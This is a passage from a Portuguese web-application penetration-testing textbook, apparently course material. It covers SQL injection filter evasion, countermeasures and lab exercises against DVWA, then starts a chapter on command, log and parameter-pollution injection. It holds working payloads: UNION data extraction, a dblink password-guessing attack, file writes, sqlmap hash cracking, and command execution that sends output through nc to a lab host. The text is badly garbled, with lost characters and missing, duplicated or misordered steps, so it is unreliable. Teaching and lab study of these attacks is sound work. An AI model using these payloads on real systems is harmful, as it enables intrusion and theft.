Note que, como a aspa no duplicada nesse processo, ela balanceia a aspa que delimita o nome de usurio, enquanto o -- trata de comentar o restante da linha. O resultado dessa injeo de segunda ordem resume-se na troca da senha da conta admin, se ela existir, sem que seja necessrio conhecer a senha atual dela. Ferramentas automatizadas apresentam uma enorme dificuldade para encontrar esse tipo de vulnerabilidade, conforme pode ser constatado pelo estudo de Doup et al. (2010). Mesmo testes manuais podem enfrentar obstculos na localizao do defeito porque, na maioria das vezes, difcil disparar o vetor injetado, principalmente, quando o processo ocorre s cegas. Apesar de reconhecer o trabalho que descobrir injees de SQL de segunda ordem, Clarke (2009) prope um mtodo, para realizar a tarefa, que consiste nos seguintes passos:
1. Durante a fase de mapeamento da aplicao, identifique todos os dados que podem ser
Evaso de filtros
Algumas aplicaes utilizam filtros para bloquear entradas maliciosas ou para alter-las, de modo que no possam ser utilizadas em ataques. Muitas vezes, eles no so empregados com o propsito de propiciar defesa em camadas, mas, sim, de contornar vulnerabilidades presentes na aplicao (Clarke, 2009). Nesses casos, se o atacante consegue evadir os filtros instalados, o sistema pode ser explorado, normalmente.
Historicamente, no so raras as ocorrncias de filtros dessa natureza contendo vulnerabilidades (Stuttard e Pinto, 2007). Nos exemplos abaixo, observe as tcnicas de evaso que podem ser empregadas em cada um dos casos: 1 Bloqueio de espaos: dependendo da implementao, pode ser quebrado por meio da substituio de espaos por comentrios de meio de comando. Exemplo:
select/**/username/**/from/**/v$session
1 Bloqueio de palavras utilizadas em SQL: desde que escritas em maisculas ou minsTeste de Invaso de Aplicaes Web
culas possvel fornecer valores com alternncia de letras maisculas e minsculas. Exemplo:
sElEcT @@version
1 Remoo, em uma nica passagem, das palavras utilizadas em SQL que estejam contidas nos dados fornecidos pelo usurio: a quebra desse filtro pode ser realizada por meio da escrita aninhada das palavras, que so consideradas pelo controle. Exemplo:
selselectect @@version
296
1 Bloqueio de aspas: a soluo, nesse caso, consiste em utilizar concatenao de caracteres, conforme sintaxe do SGBD empregado. Exemplo:
select concat(char(65),char(66),char(67))
1 Bloqueio de palavras e caracteres diversos: uma tcnica de evaso, que funciona muitas vezes, consiste em aplicar codificao de URL ao valor do parmetro injetado. Por exemplo, union select 1,null,null from dual-- fica:
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%6e%75%6c%6c%2 c%6e%75%6c%6c%20%66%72%6f%6d%20%64%75%61%6c%2d%2d
1 Filtros externos, escritos em C ou C++: cadeias de caracteres, nessas linguagens, so finalizadas com um byte zero. Assim, uma estratgia de evaso consiste em inserir um byte nulo, codificado como %00, no comeo do valor injetado (Clarke, 2009). Exemplo:
Contramedidas
Para evitar que aplicaes web sejam vulnerveis a ataques de injeo de SQL, os seguintes controles devem ser adotados nos processos de desenvolvimento e de implantao (Howard et al., 2005; Clarke, 2009; Stuttard e Pinto, 2007): 1 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para o campo ou parmetro. importante mencionar que essa abordagem superior ao uso de listas negras, pois, dificilmente, possvel enumerar todas as entradas perniciosas possveis. Complementarmente, restrinja o tamanho do campo ao mximo permitido. 1 Se aspas forem permitidas em campos textuais, duplique-as sempre antes de utiliz-las em comandos SQL. 1 No submeta consultas ao banco de dados que sejam resultantes da concatenao do comando a ser executado com valores fornecidos por usurios. 1 Utilize apenas comandos preparados (prepared statements), os quais so pr-compilados e no permitem que a semntica seja alterada depois disso. Desse modo, qualquer comando fornecido por um usurio malicioso, como parte da entrada, ser interpretado como um parmetro da consulta pelo SGBD. 1 Realize o acesso camada de dados, por meio de procedimentos definidos no banco de dados, encapsulando, assim, a estrutura das tabelas que compem a aplicao. 1 Capture todos os erros de execuo e fornea apenas mensagens tratadas aos usurios, isto , no exiba erros contendo comandos SQL, pilhas de execuo e cdigos 1 Utilize na aplicao uma conta para acesso ao banco de dados com os mnimos privilgios necessrios execuo das tarefas. Nunca use contas com privilgios Data
DDL Compreende o subconjunto de comandos SQL, utilizados na criao, alterao e remoo de objetos de um banco de dados.
Definition Language (DDL) e, muito menos, contas administrativas. Se isso no for respeitado, a extenso do dano, em caso de ataque bem-sucedido, poder ser muito maior, uma vez que o atacante ser capaz de remover, incluir e alterar objetos estruturais, como tabelas e ndices, por exemplo.
297
especficos de plataforma.
1 Realize o robustecimento do servidor de banco de dados eliminando objetos, usurios e privilgios desnecessrios. Por exemplo, em verses mais antigas de Oracle, muitos pacotes vinham com privilgio de execuo concedido para PUBLIC por padro, isto , podiam ser acessados por qualquer conta do banco. Assim como no item acima, a ideia desse controle diminuir a extenso do dano, caso as linhas de defesa falhem, sempre pensando em defesa em camadas. 1 Instale um filtro de pacotes no servidor de banco de dados e o configure para permitir apenas os trfegos de entrada e sada vlidos.
298
Roteiro de Atividades 6
Atividade 1 Especificidades de SGBDs
Esta atividade tem por objetivo ilustrar as diferenas apresentadas por alguns sistemas gerenciadores de banco de dados. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
Empilhamento de comandos
O foco desta atividade verificar o suporte a comandos empilhados.
1. Abra uma janela de terminal. 2. Conecte-se ao servidor Fedora e digite esruser como senha:
~$ ssh esruser@192.168.213.200
3. Conecte-se ao MySQL, utilizando a conta root:
~$ ssh esruser@192.168.213.200
7. Conecte-se ao PostgreSQL, utilizando a conta postgres, e, quando solicitada, fornea a
senha postgres:
Comando de pausa
Neste exerccio, sero estudados os comandos de pausa fornecidos pelos SGBDs.
1. No terminal de acesso ao MySQL, digite o comando abaixo e veja o que acontece:
299
Testes bsicos
Este exerccio e a maioria dos que seguem neste captulo sero realizados sobre a aplicao DVWA, criada para permitir que desenvolvedores, profissionais de segurana e estudantes aprendam sobre as vulnerabilidades que podem afetar aplicaes web. Este primeiro roteiro engloba os testes bsicos de injeo de SQL.
1. Inicie o Firefox, presente no menu Aplicativos\Internet.
Teste de Invaso de Aplicaes Web
2. Acesse o DVWA, por meio da barra de atalhos. 3. Autentique-se, fornecendo as credenciais admin/password. 4. No menu presente do lado esquerdo, clique em SQL Injection. 5. Digite uma aspa simples no campo User ID e clique em Submit. O que acontece? Alguma
300
7. Digite or 1=1-- no campo User ID e clique em Submit. Por que o erro acontece?
order by 1#
Conforme esperado, nenhum erro acontece, uma vez que h duas colunas.
12. Repita o teste para duas colunas e verifique se algum erro acontece:
order by 2#
13. Execute o mesmo teste para trs colunas e diga se o que acontece coerente com o esperado:
order by 3#
301
clique em Submit:
~$ sqlmap.py -h
6. Como a pgina vulnervel do DVWA s acessvel por uma sesso autenticada, necessrio
obter o cookie definido pela aplicao. No Firefox, no menu Tools, selecione Cookie Editor.
7. Aumente a janela e clique individualmente nos cookies PHPSESSID e security, copiando o
13. Repita o passo 10, substituindo a opo -f por -b, para captura do banner do SGBD:
302
Escalada de privilgios
A proposta deste exerccio conseguir acesso mais privilegiado que o proporcionado pela conta utilizada pela aplicao. Para isso, um ataque de dicionrio contra a conta administrativa do PostgreSQL ser efetuado.
1. Abra uma nova janela do Firefox, pressionando Ctrl + N. 2. Acesse http://pgsqli.esr.rnp.br/escalada.php. 3. Digite uma aspa simples no campo Termos e clique em Buscar Artigos. A aplicao exibe
descobertos no passo 3 com as exibidas pela consulta e infira o tipo de cada uma delas.
5. Verifique a verso do PostgreSQL, o identificador da conta que a aplicao utiliza para
union select null,version(),user||:||current_database()-6. Suponha que se saiba da existncia de uma tabela chamada books, cujas colunas so id,
author e title. Tente extrair o contedo dela por meio da tcnica UNION:
union select id,author,title from books-A conta possui os privilgios necessrios para realizar a operao?
7. De modo a conseguir extrair informaes das tabelas do banco, dentre as quais a books,
necessrio escalar os privilgios da conta de acesso atual. Para isso, realize um ataque de dicionrio contra a conta postgres, iniciando com a senha password:
union select * from dblink(host=localhost user=postgres 8 password=password , select 1,\ a\ ,\ b\ ) returns (i int, j text, 8 k text)--
303
union select * from dblink(host=localhost user=postgres 8 password=postgres , select 1,\ a\ ,\ b\ ) returns (i int, j text, 8 k text)-9. Utilize o prprio dblink para extrair a tabela books, usando as credenciais administrativas:
union select * from dblink(dbname=pgsqli host=localhost 8 user=postgres password=postgres , select id,author,title from 8 books ) returns (i int, j text, k text)-Note que necessrio especificar o nome do banco de dados, obtido no Passo 5. Feche a janela atual do Firefox.
and 1=2 union select table_schema,table_name from 8 information_schema.tables where table_schema<> 8 information_schema order by 1#
2. Role a tela e veja as inmeras tabelas presentes nos diversos esquemas. 3. Descubra as colunas da tabela wackopicko.users:
and 1=2 union select column_name,data_type from 8 information_schema.columns where table_schema= wackopicko table_name= users #
4. Selecione todas as linhas da tabela wackopicko.users, incluindo no resultado as colunas
and 8
and 1=2 union select column_name,data_type from 8 information_schema.columns where table_schema= owasp10 table_name= accounts # and 8
304
username e password:
obter o cookie definido pela aplicao. No Firefox, no menu Tools, selecione Cookie Editor.
3. Aumente a janela e clique individualmente nos cookies PHPSESSID e security, copiando o
Responda Y para a pergunta Fetching entries for table users on database wackopicko recognized possible password hash values. Do you want to use dictionary attack on retrieved table items? [Y/n/q] e pressione Enter para as duas prximas perguntas.
9. Veja o arquivo CSV gerado pela ferramenta:
305
Manipulao de arquivos
Diversos ataques contra a aplicao e o prprio sistema gerenciador de bancos de dados requerem a leitura e escrita de arquivos do sistema. Neste exerccio, o leitor aprender como realizar essas tarefas explorando uma aplicao vulnervel baseada em MySQL. Leitura de arquivos
1. Na aplicao DVWA, na pgina de Injeo de SQL, digite o vetor abaixo e clique em Submit
~$ ssh esruser@192.168.213.200
6. Liste os arquivos presentes no diretrio /tmp:
~$ ls -l /tmp
7. Na aplicao DVWA, na pgina de Injeo de SQL, digite o vetor abaixo e clique em Submit
and 1=2 union select login,password from wackopicko.users into 8 outfile /tmp/users.txt #
306
~$ less /tmp/users.txt
9. Injete o seguinte texto no DVWA, na pgina de injeo de SQL, para criao de um arquivo
~$ ls -l /tmp/arq1.bin
Por que o arquivo gerado possui 5 bytes, em vez de 3? Qual foi o erro cometido?
11. Gere um novo arquivo, via injeo de SQL no DVWA, com mesmo contedo:
~$ ls -l /tmp/arq2.bin
13. Encerre a janela de terminal.
6. Selecione inteiramente o vetor identificado como P1 e pressione Ctrl + C. 7. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa cria uma tabela temporria no banco de dados.
8. No gedit, selecione inteiramente o vetor identificado como P2 e pressione Ctrl + C. 9. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa armazena, na tabela temporria, a representao em BASE64 da biblioteca a ser instalada.
10. No gedit, selecione inteiramente o vetor identificado como P3 e pressione Ctrl + C.
307
11. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
sionando Ctrl + V. Essa etapa atualiza a parte de dados do objeto recm-criado para o contedo original da biblioteca.
14. No gedit, selecione inteiramente o vetor identificado como P5 e pressione Ctrl + C. 15. Retorne aplicao de busca de artigos, limpe o campo e cole o valor copiado, pressio-
nando Ctrl + V. Essa etapa cria quatro funes de usurio no PostgreSQL para execuo de comandos e leitura de arquivos.
18. Repita o Passo 2 e veja o que acontece. 19. Encerre o gedit. 20. Para o prximo exerccio, mantenha a aplicao de consulta de artigos e o terminal abertos.
~$ nc -l 10000
2. Injete o seguinte valor na aplicao de busca de artigos:
;select sys_eval(echo Teste | nc 192.168.213.10 10000)-3. Retorne ao terminal e veja o que aconteceu. 4. Para descobrir o endereo de rede do servidor, injete o seguinte valor na aplicao de
busca de artigos:
Varredura de redes
Neste exerccio, o aluno entender como realizar varredura da rede interna por meio de injeo de SQL.
6. Injete o seguinte valor na aplicao de busca de artigos, para recuperar o endereo IP dos
308
7. Digite o valor abaixo no campo Termos e clique em Buscar Artigos, para verificar se a
;select replace(sys_eval(ping -c 4 192.168.213.10),\n,<BR>)-8. Digite o valor abaixo no campo Termos e clique em Buscar Artigos, para verificar se o
; select 1,null,dblink_connect(host=192.168.213.10 port=22 8 connect_timeout=5 )-A mensagem de erro exibida significa que o servio est ativo?
9. Injete o seguinte valor na aplicao de busca de artigos, para verificar se o Telnet est
; select 1,null,dblink_connect(host=192.168.213.10 port=23 8 connect_timeout=5 )-O que possvel concluir sobre o servio Telnet na mquina especificada?
Partio e balanceamento
Como vimos, a tcnica de partio e balanceamento importante, pois facilita o processo de injeo de SQL em qualquer tipo de comando e na parte em que ocorre a vulnerabilidade. Nesse contexto, o roteiro abaixo ilustra como aplicar esse mtodo.
1. Na aplicao de consulta de artigos, digite Advanced no campo Termos e clique em
Buscar Artigos.
2. Repita o processo com o texto Ad||vanced. Houve mudana no resultado?
Ad||cast((select ) as char)||vanced
Observe que o SELECT acima pode ser substitudo por outros, como o abaixo mostrado:
Ad||(select pg_sleep(5))||vanced
O que faz essa injeo?
Captulo 6 - Roteiro de Atividades
309
a
4. Preencha o campo Autor com o valor abaixo e clique em Contar artigos para verificar se o
a || bitand(1,1) ||
5. Preencha o campo Autor com o valor abaixo e clique em Contar artigos para verificar se o
a || pg_sleep(5) ||
6. Preencha o campo Autor com uma aspa simples e clique em Contar artigos. A mensagem
8. Digite abc no campo Autor e clique em Contar artigos. Quantos artigos so encontrados?
9. Fornea a and 1=1-- para o campo Autor e clique em Contar artigos. Quantos artigos so
11. A partir dos resultados obtidos, possvel concluir que a submisso de um vetor, como o
abaixo, encontrar trs artigos, se e somente se, a <pergunta booleana> for verdadeira:
Teste de Invaso de Aplicaes Web
a% and <pergunta booleana>-12. Com base no que foi levantado, descubra o nome da conta que utilizada pela aplicao
para conectar-se ao banco de dados, por meio da tcnica bit-a-bit. O seguinte vetor pode ser injetado para descobrir o valor do bit 7:
a% and ascii(substr(user,1,1))&64=64--
310
a% and ascii(substr(user,1,1))&1=1-20. Isso resulta na cadeia de bits 01110000, que 112 em decimal e o cdigo ASCII da letra p. 21. O processo pode continuar para cada uma das letras, porm, prossiga com o roteiro
values? [Y/n].
27. Pressione Enter para a pergunta POST parameter autor is vulnerable. Do you want to keep
311
erro exibida?
4. Clique em Novo usurio. 5. Preencha os campos do formulrio, informando o identificador de usurio admin-- e a
8. Clique em Alterar senha. 9. Fornea, como nova senha, a palavra admin. 10. Clique em Alterar senha. 11. Repita o passo 3 e observe o que acontece. 12. Encerre o Firefox. 13. Explique como o ataque funciona.
312
Bibliografia 6
1 ANLEY, Chris. Advanced SQL Injection in SQL Server Applications. NGSSoftware Insight Security Research (NISR) Publication, Next Generation Security Software Ltd, 2002a. 1 ANLEY, Chris et al. Advanced SQL Injection. NGSSoftware Insight Security Research (NISR) Publication, Next Generation Security Software Ltd, 2002b. 1 ANLEY, Chris. Hackproofing MySQL. NGSSoftware Insight Security Research (NISR) Publication, Next Generation Security Software Ltd, 2004. 1 CLARKE, Justin. SQL Injection Attacks and Defense. Syngress, 2009. 1 DOUP, Adam; COVA, Marco e VIGNA, Giovanni. Why Johnny Cant Pentest: An Analysis of Black-box Web Vulnerability Scanners. In: Proceedings of Detection of Intrusions and Malware, and Vulnerability Assessment, 7th International Conference, DIMVA 2010. Lecture Notes in Computer Science 6201, Springer, 2010. 1 GUIMARES, Bernardo Damele Assumpo. Advanced SQL Injection to operating system full control. Black Hat Europe Briefinds, 2009. 1 GUIMARES, Bernardo Damele Assumpo e STAMPAR, Miroslav. SQL map users manual version 0.9. Manual, 2011. 1 HALFOND, Willian G. J.; VIEGAS, Jeremy e ORSO, Alessandro. A Classification of SQL Injection Attacks and Countermeasures. In: Proceedings of the International Symposium on Secure Software Engineering, 2006. 1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005. 1 KOST, Stephen. An Introduction to SQL Injection Attacks for Oracle Developers. Integrigy Corporation, 2004. 1 LEIDECKER, Nico. Having Fun With PostgreSQL. Portcullis Computer Security Limited, 2007. 1 LITCHFIELD, David. Data-mining with SQL Injection and Inference. NGSSoftware Insight Security Research (NISR) Publication, Next Generation Security Software Ltd, 2005. 1 LITCHFIELD, David; ANLEY, Chris; HEASMAN, John e GRINDLAY, Bill. The Database Hackers Handbook: Defending Database Servers. Wiley Publishing, Inc., 2005. 1 LITCHFIELD, David. The Oracle Hackers Handbook - Hacking and Defending Oracle. Wiley Publishing, Inc., 2007. 1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 SPETT, Kevin. SQL Injection - Are your web applications vulnerable?, SPI Dynamics, 2002. 1 SPETT, Kevin. Blind SQL Injection - Are your web applications vulnerable?, SPI Dynamics, 2003. 1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Captulo 6 - Bibliografia
313
314
7
Ataques de injeo
objetivos
Apresentar ataques de injeo menos conhecidos que o SQL e o XSS e as tcnicas que podem ser empregadas para detectar se uma aplicao vulnervel a eles. Injeo de comandos de sistema operacional, injeo em trilhas de auditoria, poluio de parmetros HTTP, injeo em filtros LDAP, injeo em filtros LDAP s cegas, injeo de comandos SMTP, injeo de XPath, injeo de XPath s cegas, incluso de arquivos.
conceitos
Introduo
Ataques de injeo podem ocorrer quando comandos que devem ser processados por um interpretador utilizado pela aplicao so construdos, em tempo de execuo, a partir da concatenao de valores fornecidos por usurios, sem as validaes necessrias para deteco de entradas maliciosas. Aproveitando-se de tal cenrio, um atacante pode alterar a semntica original do que deveria ser executado pelo interpretador, por meio da injeo de palavras-chave e de caracteres com sentido especial na linguagem empregada. O cross-site scripting e a injeo de SQL, j abordados, respectivamente, nos Captulos 5 e 6 deste livro, podem ser citados como dois exemplos deste tipo de explorao. Observe-se que, no primeiro caso, o interpretador alvo o navegador web, que processa HTML, lin-
guagens de scripts e afins, e, no segundo, o sistema gerenciador de bancos de dados, que conversa em SQL, na grande maioria das vezes. A extenso do dano causado por um ataque de injeo depende de diversos fatores, que incluem aspectos de configurao da prpria aplicao, das plataformas subjacentes e da infraestrutura de rede que suporta o sistema. Para exemplificar este fato, considerem-se, novamente, o ataque de injeo de SQL e os elementos que podem potencializar o resultado da explorao. Vimos que uma aplicao que acessa o SGBD com conta administrativa permite que qualquer comando SQL seja executado; que se a conta do sistema operacional, usada para executar o SGBD, tambm privilegiada, a plataforma pode ser comprometida; e, se a segmentao e controle de acesso da rede so inadequados, outros ativos podem ser atacados, por meio da injeo. Como possvel observar, portanto, fraquezas acessrias como essas so to crticas como as que permitem o ataque de injeo, e, assim, devem ser identificadas em um teste de invaso.
Captulo 7 - Ataques de injeo
315
Embora os tipos de ataques de injeo mais comuns sejam, de fato, o XSS e a injeo de SQL, existem diversas outras variantes, igualmente perigosas e focadas em outras tecnologias, que, muitas vezes, so ignoradas em um teste de invaso. Em situaes assim, obtm-se um resultado incompleto e, por consequncia, a aplicao pode tornar-se alvo de ataques, se ela contiver tais fraquezas. O propsito do presente captulo, ento, apresentar a grande gama de ataques de injeo conhecidos, bem como as diversas tcnicas que podem ser utilizadas para encontrar as vulnerabilidades associadas a eles. Desse modo, so consideradas as injees: de comandos de sistema operacional, em trilhas de auditoria, em filtros LDAP, em filtros LDAP s cegas, de comandos SMTP, de cabealhos de e-mail, de XPath, de XPath s cegas, alm da poluio de parmetros HTTP e incluso de arquivos.
SMTP Simple Mail Transfer Protocol Protocolo utilizado para a transmisso de correio eletrnico na internet, definido pela RFC 821.
Para ilustrar esta situao, considere-se uma aplicao em PHP que tem por objetivo exibir o endereo IP de um nome de domnio fornecido pelo usurio. O mtodo correto e seguro de implementar esta funcionalidade consiste no uso da funo gethostbyname(), conforme exemplo abaixo, que no permite fazer nada alm da traduo de endereos:
316
Quando um parmetro, presente na requisio, concatenado diretamente ao nome do comando que deve ser executado pelo sistema operacional, um usurio malicioso pode aproveitar-se da situao, para injetar comandos adicionais. Note-se que, no cdigo acima, o parmetro dominio, presente na requisio, concate-
nado diretamente ao nome do comando que deve ser executado pelo sistema operacional. Caso um valor legtimo, como www.esr.rnp.br, seja fornecido pelo usurio, a aplicao segue seu curso normal e exibe o resultado, conforme ilustrado na Figura 7.1.
Um usurio malicioso, por outro lado, pode aproveitar-se de que capaz de controlar o valor submetido aplicao e fornecer a entrada a seguir:
importante observar que o sucesso do ataque acima depende do uso do caractere especial ;, o qual, em ambientes Linux, permite empilhar diversos comandos. Consequentemente, caso a aplicao filtre este caractere, outra estratgia deve ser empregada, e, assim, fundamental conhecer mtodos alternativos para submeter mltiplos comandos simultneos ao sistema operacional. A Figura 7.3 ilustra tcnicas que podem ser utilizadas, quando o servidor baseado em Windows ou Linux.
317
Significado Separa mltiplos comandos em uma mesma linha. Direciona a sada do primeiro comando (cmd1) para o segundo (cmd2). Executa cmd1 e, depois, cmd2. Embora em Linux, seja usado aps um comando, para execut-lo em segundo plano, tambm atende ao propsito de submeter outro comando. Executa cmd2, aps cmd1, somente se este retornar sem erro. Executa cmd2, aps cmd1, somente quando este retornar com erro.
Windows
Linux
X
X
X
Figura 7.3 Caractere(s) especial(is) que permite(m) submeter mltiplos comandos ao sistema operacional simultaneamente.
X X
X X
Outro aspecto que deve ser notado, em relao ao ltimo exemplo, que a sada do comando injetado exibida na tela, junto com o resultado do comando original. Este, porm, nem sempre o cenrio encontrado na prtica, e, nesses casos, a sada deve ser direcionada para um arquivo em alguma pasta que possa ser acessada remotamente. Um forte candidato, neste sentido, a prpria rvore de diretrios da aplicao web, e o caractere especial que possibilita enviar o resultado da execuo de um comando para um arquivo o >. Para exemplificar, considere-se que o diretrio raiz da aplicao se encontra em /var/www/html/site. O ataque pode ser efetuado, empregando-se o seguinte valor de entrada:
Elaborando um pouco mais o cenrio, considere-se que o resultado do comando injetado no exibido e nem se sabe o diretrio em que a aplicao est instalada. Neste caso, um modo de testar se ela vulnervel ao ataque consiste em se aplicar uma das tcnicas empregadas em ataques de injeo de SQL s cegas, que se baseia na tentativa de introduo de uma pausa na execuo do sistema (Stuttard e Pinto, 2007). Isto pode ser obtido, por exemplo, por meio do comando ping, empregado da seguinte maneira:
Figura 7.4 Acesso ao arquivo passwd gerado por um ataque de injeo de comandos.
318
Para cada item de entrada identificado na fase de mapeamento, que aparente ser passado como argumento para um comando do sistema operacional:
1.1.Fornea o valor abaixo:
mltiplos comandos.
Um mecanismo desse tipo deve registrar diversos eventos, tais como: operaes administrativas, tentativas de conexo ao sistema, encerramento de sesses, ativao ou desativao do prprio mdulo de auditoria e operaes crticas, dentre outros. A lista completa de eventos a ser contemplada, normalmente, resulta de uma anlise de riscos do ambiente, de normas e padres de segurana da informao e de leis. Ademais, para que o mecanismo seja eficaz, cada registro deve indicar, em relao ao evento, pelo menos data e hora de ocorrncia, a identidade do usurio envolvido, a ao realizada, se a operao foi bem-sucedida ou no e o endereo de rede originrio do evento. Os principais propsitos para o uso deste mecanismo de segurana, segundo Grzelak (2007), podem ser sumarizados em trs categorias:
Ataques de injeo em trilhas de auditoria, tratados nesta seo, permitem inserir registros fraudulentos de eventos, quando elas so armazenadas especificamente em arquivos de texto puro. Note-se que o resultado da explorao viola a integridade do arquivo como um todo, afetando diretamente os dois ltimos objetivos acima mencionados. No caso do primeiro, o principal requisito de segurana da informao a ser atendido o sigilo das trilhas, o que torna o ataque pouco apropriado para aquele escopo. Para isso, outras tcnicas devem ser usadas, visando o comprometimento da plataforma ou a injeo de comandos de sistema operacional.
319
Para entender a vulnerabilidade e como ela pode ser explorada, considere-se uma aplicao que registra em um arquivo de trilha de auditoria as tentativas vlidas e invlidas de autenticao, conforme ilustrado na Figura 7.5.
[root@seg9 logi]# cat logfile [07/04/2012 - 10:14:22] Conta esr se conectou com sucesso. [07/04/2012 - 10:14:27] Tentativa de conexo com a conta es. [07/04/2012 - 10:14:35] Tentativa de conexo com a conta adm.
Sejam os seguintes trechos de cdigo os responsveis pela populao do arquivo:
Figura 7.5 Exemplo de arquivo de trilha de auditoria.
$userid=$_POST[userid]; ... fwrite($res, $date.Conta .$userid. se conectou com sucesso.\n); ... fwrite($res, $date.Tentativa de conexo com a conta .$userid..\n);
Observe-se que o valor da varivel $userid obtido a partir de um parmetro da requisio e diretamente concatenado mensagem a ser gravada, sem nenhum tratamento. Se um usurio malicioso desejar inserir um registro fraudulento no arquivo de trilhas, ele deve fornecer um caractere de final de linha, como parte do parmetro, seguido do texto que quer injetar:
[07/04/2012 - 10:14:22] Conta esr se conectou com sucesso. [07/04/2012 - 10:14:27] Tentativa de conexo com a conta es. [07/04/2012 - 10:14:35] Tentativa de conexo com a conta adm.
Teste de Invaso de Aplicaes Web
[07/04/2012 - 10:14:21] Tentativa de conexo com a conta esr. [07/04/2012 - 10:14:22] Conta admin se conectou com sucesso.
Um ponto importante que deve ser ressaltado, para o sucesso do ataque, que o caractere de final de linha deve ser inserido, codificado, por meio de um proxy de interceptao, porque, a partir da tela da aplicao, s possvel fornecer caracteres imprimveis. A digitao do valor %0a ou \n entendida pelo navegador web como uma sequncia de mltiplos caracteres, dos quais % e \ passam por codificao URL, antes de serem enviados.
320
Algumas implementaes de sistemas de trilhas de auditoria tentam evitar a adulterao e insero de registros, adicionando um campo que contm o hash criptogrfico de cada entrada do arquivo. Esta soluo completamente insegura, pois a gerao de hash no depende de nenhuma informao sigilosa, e, logo, pode ser reproduzida pelo atacante e injetada junto com a entrada maliciosa. Dada esta justificativa, fica fcil perceber que uma abordagem correta deve, em vez de funes de hash criptogrfica, empregar algoritmos de assinatura digital ou cdigos de autenticao de mensagens. Verificar se uma aplicao vulnervel injeo em trilhas de auditoria uma tarefa difcil, quando o teste realizado do tipo caixa-preta. Isso acontece porque nesses casos no possvel ver o formato dos registros de auditoria e nem o resultado da injeo, salvo se, por problemas na configurao das plataformas subjacentes, for possvel acessar o arquivo no qual os eventos so gravados. Desse modo, recomenda-se que, para esta fraqueza, os testes sejam suportados por informaes adicionais, como formato do arquivo e cdigo-fonte, por exemplo.
Precedncia Todas as ocorrncias, delimitadas por vrgula. ltima ocorrncia. Primeira ocorrncia. Primeira ocorrncia. Todas as ocorrncias, em uma lista.
Captulo 7 - Ataques de injeo
321
Uma pequena variao do cenrio acima, mas que possui o mesmo efeito, consiste na submisso de parmetros com mesmo nome no corpo da requisio e na URL simultaneamente. O valor que considerado depende, novamente, das tecnologias que so empregadas pela aplicao. Por exemplo, quando JSP usado em conjunto com Tomcat, o valor da URL devolvido, e, para PHP com Apache, retorna-se o argumento contido no corpo da requisio. Note-se que, de modo a evitar problemas, uma boa prtica que deve ser seguida, neste contexto, sempre buscar o valor no canal especfico esperado (Balduzzi, 2011). Agora que os fundamentos necessrios foram cobertos, considere-se uma aplicao escrita em PHP, que permite que o usurio participe de uma enquete, depois de fornecido o nmero dela (vide Figura 7.8). Quando isso ocorre, a seguinte requisio realizada pelo navegador web:
http://hpp.esr.rnp.br:80/build_poll.php?numero=123456&Submit1=Prosseguir
E uma ficha para votao exibida ao usurio, contendo um link para cada uma das opes possveis, como se observa na Figura 7.9.
O cdigo que constri a ficha de votao obtm o nmero da enquete a partir do parmetro numero e o utiliza na construo dinmica de cada link, sem validao do valor fornecido:
$numero.>XSS</a><br>); ...
Quando um nmero legtimo fornecido, um elemento semelhante ao abaixo inserido na pgina HTML:
322
O que acontece, porm, se o usurio induzido a acessar um link para a URL abaixo?
http://hpp.esr.rnp.br/build_poll.php?numero=123456%26id%3d3
Observe-se que o valor do parmetro numero usa codificao URL e corresponde ao texto numero=123456&id=3. Quando a aplicao o utiliza para gerar os links da cdula de votao, os seguintes elementos so criados:
<a href=http://hpp.esr.rnp.br/post_vote.php?id=1&poll_id=123456&id=3> XSS</a><br> <a href=http://hpp.esr.rnp.br/post_vote.php?id=2&poll_id=123456&id=3> Injeção de SQL</a><br> <a href=http://hpp.esr.rnp.br/post_vote.php?id=3&poll_id=123456&id=3> CSRF</a>
Neste cenrio, o script post_vote.php, ao extrair o parmetro id, por meio da construo $_GET[id], devido s regras de precedncia de PHP, obter sempre o valor 3. Em decorrncia disso, independente da opo escolhida, o voto sempre ser depositado para o ataque CSRF, correspondente ao identificador injetado. Valendo-se das regras de precedncia, um desenvolvedor ingnuo pode tentar mitigar o problema, colocando o parmetro id ao final da query string, por meio da seguinte alterao no cdigo:
http://hpp.esr.rnp.br/build_poll2.php?numero=123456%26id%3d3%23
Ao gerar a cdula com o novo cdigo e o parmetro ajustado, os elementos a seguir so criados:
<a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=1> XSS</a><br> <a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=2> Injeção de SQL</a><br> <a href=http://hpp.esr.rnp.br/post_vote.php?poll_id=123456&id=3#&id=3> CSRF</a>
Desse modo, ao selecionar uma opo, somente o parmetro fixado pela poluio enviado ao servidor, para processamento, em detrimento do valor original. Consequentemente, o resultado da enquete pode ser manipulado, caso a maioria dos participantes acesse a aplicao, por meio de uma pgina maliciosa, que efetue o ataque. 323
Captulo 7 - Ataques de injeo
Para verificar se uma aplicao vulnervel poluio de parmetros HTTP, os seguintes passos podem ser executados:
1.
um parmetro inexistente, como &esr=rnp, por exemplo, mas de maneira codificada, isto , %26esr%3drnp.
3.2.Verifique se o parmetro injetado aparece em links ou em formulrios, sem con-
siderar o parmetro testado, que pode mudar de nome, no documento fornecido como resposta. Em caso positivo, o parmetro alvo vulnervel poluio.
q
X.500 Conjunto de padres desenvolvido pelo ITU-T, que define aspectos de servios de diretrios eletrnicos.
